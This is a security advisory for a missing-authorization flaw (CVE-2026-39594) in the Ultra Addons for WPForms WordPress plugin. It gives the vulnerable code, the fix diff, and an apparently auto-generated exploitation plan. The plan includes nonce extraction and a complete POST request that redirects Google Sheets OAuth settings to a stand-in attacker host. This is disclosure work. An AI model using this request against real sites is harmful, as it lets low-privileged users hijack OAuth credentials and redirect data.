Ultra Addons for WPForms <= 1.0.11 - Missing Authorization
Description
The Ultra Addons for WPForms plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 1.0.11. This makes it possible for authenticated attackers, with subscriber-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=1.0.11What Changed in the Fix
Changes introduced in v1.0.12
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-39594 (Ultra Addons for WPForms) ## 1. Vulnerability Summary The **Ultra Addons for WPForms** plugin (versions <= 1.0.11) is vulnerable to **Missing Authorization** in its AJAX handlers. Specifically, the function `get_auth_url` registered via the `wp_ajax_uaw…
Show full research plan
Exploitation Research Plan: CVE-2026-39594 (Ultra Addons for WPForms)
1. Vulnerability Summary
The Ultra Addons for WPForms plugin (versions <= 1.0.11) is vulnerable to Missing Authorization in its AJAX handlers. Specifically, the function get_auth_url registered via the wp_ajax_uawpf_google_sheets_get_auth_url action fails to perform a capability check (e.g., current_user_can('manage_options')).
While it does perform a nonce check using check_ajax_referer( 'wpforms-admin', 'nonce' ), the wpforms-admin nonce is frequently available to any authenticated user with access to the WordPress admin dashboard (including Subscribers). This allows an attacker to update sensitive plugin options, specifically the Google Sheets API credentials (client_id, client_secret, and redirect_uri).
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
uawpf_google_sheets_get_auth_url - Vulnerable Parameter(s):
client_id,client_secret,redirect_uri - Nonce Parameter:
nonce(Action string:wpforms-admin) - Authentication Level: Subscriber or higher (Authenticated).
- Precondition: The "Google Sheets" addon must be active (usually enabled by default or via the plugin's settings).
3. Code Flow
- Entry Point: The AJAX action is registered in
app/Addons/GoogleSheets/Provider/Settings/PageIntegrations.phpwithin thehooks()method:add_action( 'wp_ajax_uawpf_google_sheets_get_auth_url', [ $this, 'get_auth_url' ] ); - Nonce Verification: The
get_auth_url()method begins by verifying a nonce:public function get_auth_url() { check_ajax_referer( 'wpforms-admin', 'nonce' ); // ... - Missing Authorization: There is no call to
current_user_can(). Any user who can produce a validwpforms-adminnonce can proceed. - Sink: The function proceeds to update WordPress options directly from the
$_POSTarray:$client_id = sanitize_text_field( wp_unslash( $_POST['client_id'] ) ); $client_secret = sanitize_text_field( wp_unslash( $_POST['client_secret'] ) ); $redirect_url = sanitize_text_field( rawurldecode( $_POST['redirect_uri'] ) ); update_option( 'uawpf_gs_client_id', $client_id ); update_option( 'uawpf_gs_client_secret', $client_secret ); update_option( 'uawpf_gs_redirect_uri', $redirect_url );
4. Nonce Acquisition Strategy
The nonce action required is wpforms-admin. In WPForms, this nonce is globally enqueued for admin pages to support AJAX functionality.
- Role: Subscriber.
- Navigation: Navigate to a standard admin page accessible to Subscribers, such as
/wp-admin/profile.php. - Extraction: Use
browser_evalto extract the nonce from thewpforms_adminglobal JavaScript object. WPForms localizes its strings and nonces into this object.- Command:
browser_eval("window.wpforms_admin?.nonce")
- Command:
- Fallback: If not found in
window.wpforms_admin, checkwindow.wpforms_settings?.nonceor search the page source fornonce.
5. Exploitation Strategy
- Login: Authenticate as a Subscriber user.
- Nonce: Extract the
wpforms-adminnonce using the strategy above. - Request: Send a POST request to
admin-ajax.phpto overwrite the Google Sheets credentials.
HTTP Request Details:
- URL:
http://<target>/wp-admin/admin-ajax.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Body:
action=uawpf_google_sheets_get_auth_url&nonce=[EXTRACTED_NONCE]&client_id=PWNED_CLIENT_ID&client_secret=PWNED_SECRET&redirect_uri=https://attacker-controlled.com/callback
6. Test Data Setup
- User:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password - Plugin Setup: Ensure
ultra-addons-for-wpformsandwpforms-liteare active. - Optional: Navigate to the plugin settings as admin once to ensure the Google Sheets addon class is initialized (though the
initandwp_ajaxhooks should fire regardless).
7. Expected Results
- Response: The server should return a JSON success response:
{"success":true,"data":"https:\/\/accounts.google.com\/o\/oauth2\/v2\/auth?client_id=PWNED_CLIENT_ID&..."} - Side Effect: The database options
uawpf_gs_client_id,uawpf_gs_client_secret, anduawpf_gs_redirect_uriwill be updated with the attacker's values.
8. Verification Steps
After sending the AJAX request, verify the option values using WP-CLI:
wp option get uawpf_gs_client_id
wp option get uawpf_gs_client_secret
wp option get uawpf_gs_redirect_uri
Confirm they match PWNED_CLIENT_ID, PWNED_SECRET, and the provided redirect URI.
9. Alternative Approaches
The plugin also registers wp_ajax_ultrawpf_options_save in app/Admin/Options/Classes/ULTRAWPF_Settings.php.
add_action( 'wp_ajax_ultrawpf_options_save', array( $this, 'ultrawpf_ajax_save_options' ) );
This handler likely controls the main plugin settings (e.g., enabling/disabling addons). If the Google Sheets exploit fails, this endpoint should be audited for similar missing authorization, as it uses the ULTRAWPF_Settings framework which often lacks role-based access control in AJAX handlers. The nonce for this would likely be found in tf_opt or similar JS objects generated by the settings framework.
Summary
The Ultra Addons for WPForms plugin for WordPress is vulnerable to unauthorized modification of settings due to a missing capability check on the get_auth_url function in versions up to 1.0.11. This allows authenticated attackers, including those with subscriber-level permissions, to update sensitive Google Sheets API credentials such as the Client ID and Client Secret.
Vulnerable Code
// app/Addons/GoogleSheets/Provider/Settings/PageIntegrations.php line 64 public function get_auth_url() { check_ajax_referer( 'wpforms-admin', 'nonce' ); // Validate credentials. if ( empty( $_POST['client_id'] ) || empty( $_POST['client_secret'] ) ) { wp_send_json_error( __( 'Missing Client ID or Client Secret.', 'ultra-addons-for-wpforms' ), 400 ); } // Sanitize inputs. $client_id = sanitize_text_field( wp_unslash( $_POST['client_id'] ) ); $client_secret = sanitize_text_field( wp_unslash( $_POST['client_secret'] ) ); $redirect_url = sanitize_text_field( rawurldecode( $_POST['redirect_uri'] ) ); update_option( 'uawpf_gs_client_id', $client_id ); update_option( 'uawpf_gs_client_secret', $client_secret ); update_option( 'uawpf_gs_redirect_uri', $redirect_url ); // ... (truncated)
Security Fix
@@ -66,6 +66,9 @@ check_ajax_referer( 'wpforms-admin', 'nonce' ); + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json_error( __( 'You do not have sufficient permissions to access this page.', 'ultra-addons-for-wpforms' ), 403 ); + } // Validate credentials. if ( empty( $_POST['client_id'] ) || empty( $_POST['client_secret'] ) ) { wp_send_json_error( __( 'Missing Client ID or Client Secret.', 'ultra-addons-for-wpforms' ), 400 ); @@ -75,7 +78,21 @@ $client_id = sanitize_text_field( wp_unslash( $_POST['client_id'] ) ); $client_secret = sanitize_text_field( wp_unslash( $_POST['client_secret'] ) ); $redirect_url = sanitize_text_field( rawurldecode( $_POST['redirect_uri'] ) ); + $allowed_domains = [ parse_url( home_url(), PHP_URL_HOST ) ]; + $redirect_domain = parse_url( $redirect_url, PHP_URL_HOST ); + + // Enforce HTTPS + if ( parse_url( $redirect_url, PHP_URL_SCHEME ) !== 'https' ) { + wp_send_json_error( + __( 'OAuth requires HTTPS redirect URI.', 'ultra-addons-for-wpforms' ), + 400 + ); + } + if ( ! in_array( $redirect_domain, $allowed_domains, true ) ) { + wp_send_json_error( 'Invalid redirect URI domain', 400 ); + } + update_option( 'uawpf_gs_client_id', $client_id ); update_option( 'uawpf_gs_client_secret', $client_secret ); update_option( 'uawpf_gs_redirect_uri', $redirect_url );
Exploit Outline
The exploit targets the AJAX action 'uawpf_google_sheets_get_auth_url'. An authenticated attacker with Subscriber-level access first obtains a valid 'wpforms-admin' nonce, which is typically localized in the global JavaScript object 'wpforms_admin' on standard admin pages like profile.php. The attacker then sends a POST request to admin-ajax.php containing the nonce and malicious values for 'client_id', 'client_secret', and 'redirect_uri'. Because the vulnerable function only checks the nonce and lacks a call to current_user_can('manage_options'), it proceeds to update the plugin's global options in the WordPress database with the attacker's values.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.